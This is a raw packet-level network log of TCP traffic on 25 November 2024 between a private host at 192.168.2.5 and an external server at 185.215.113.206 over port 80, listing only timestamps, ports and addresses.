Nov 25, 2024 18:28:14.643013000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.643780947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.643848896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.643881083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.643933058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.644709110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.644721031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.644768000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.644787073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.645605087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.645664930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.645689964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.645736933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.646490097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.646554947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.646610022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.646660089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.647345066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.647408962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.647480965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.647551060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.648154020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.648219109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.648228884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.648279905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.649055958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.649194002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.649202108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.649291992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.650060892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.650122881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.650171041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.650219917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.650902987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.650971889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.650979996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.651032925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.651786089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.651844978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.685328960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.685393095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.685473919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.685525894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.685772896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.685827017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.685981035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.686033010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.686115026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.686166048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.686870098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.686920881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.686953068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.687000990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.687774897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.687828064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.687860966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.687911987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.688689947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.688740015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.688774109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.688823938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.689625025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.689673901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.689706087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.689755917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.690550089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.690599918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.690664053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.690715075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.691483021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.691535950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.691567898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.691612005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.692409039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.692461967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.692542076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.692593098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.693520069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.693531036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.693578005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.694242954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.694293976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.694361925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.694417000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.695204020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.695256948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.695339918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.695393085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.696124077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.696175098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.696233988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.696283102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.697041988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.697098970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.697123051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.697173119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.697951078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.698007107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.698158026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.698209047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.698872089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.698924065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.698959112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.699003935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.699762106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.699819088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.835809946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.835900068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.835933924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.835980892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.836307049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.836360931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.836509943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.836563110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.836601973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.836651087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.837549925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.837615967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.837655067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.837702990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.838269949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.838325024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.838418007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.838463068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.838499069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.838546991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.839343071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.839400053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.839440107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.839483976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.840346098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.840394974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.840414047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.840456009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.841264963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.841325045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.841366053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.841414928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.842128038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.842190027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.842223883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.842278957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.843086004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.843144894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.843323946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.843379021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.843990088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.844041109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.844053030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.844089985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.844913006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.844969988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.845010042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.845072031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.845844030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.845909119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.845942020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.845993042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.846765041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.846832991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.846936941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.846992016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.847696066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.847762108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.847776890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.847830057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.848582983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.848642111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.848643064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.848696947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.849520922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.849579096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.849612951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.849668026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.850620985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.850672960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.850701094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.850728989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.851427078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.851450920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.851481915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.851509094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.852336884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.852390051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.852475882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.852550030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.853260994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.853317022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.853324890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.853374958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.855588913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.855659962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.855696917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.855751991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.856035948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.856091022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.856146097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.856199026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.856753111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.856803894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.856841087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.856895924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.857678890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.857737064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.857784033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.857835054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.858599901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.858652115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.858700991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.858748913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.859678984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.859745026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.859874964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.859927893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.860475063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.860543013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.860574007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.860619068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.861423016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.861476898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.861517906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.861560106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.862396002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.862433910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.862447023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.862473011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.863339901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.863389969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.863428116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.863476038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.864177942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.864228010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.864315987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.864363909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.865080118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.865132093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.865169048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.865214109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.866091013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.866142988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.866241932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.866290092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.866931915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.866986990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.867031097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.867075920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.867949963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.868009090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.868024111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.868069887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.868906975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.868958950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.868998051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.869048119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.869827032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.869875908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.869910002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.869950056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.906083107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.906145096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.906178951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.906236887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.906516075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.906529903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.906570911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.907295942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.907351017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.907398939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.907454967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.908169031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.908217907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.908489943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.908540964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.908579111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.908627987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.909421921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.909471989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.909507990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.909557104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.910541058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.910588026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.910684109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.910732031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.911355972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.911408901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.911438942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.911485910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.912192106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.912245989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.912379980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.912426949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.913120985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.913171053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.913243055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.913295031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.914073944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.914119959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.914128065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.914158106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.914973021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.915024042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.915070057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.915122032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.915879011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.915930033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.915985107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.916037083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.916848898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.916904926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.916954994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.917004108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.917757988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.917808056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.917906046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.917954922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.918685913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.918705940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.918739080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.918756008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.919614077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.919667006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.919748068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.919800043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:14.920495033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:14.920546055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.038023949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.038060904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.038139105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.038166046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.038343906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.038425922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.038456917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.038508892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.039277077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.039339066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.039406061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.039454937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.040116072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.040167093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.040409088 CET	80	49704	185.215.113.206	192.168.2.5
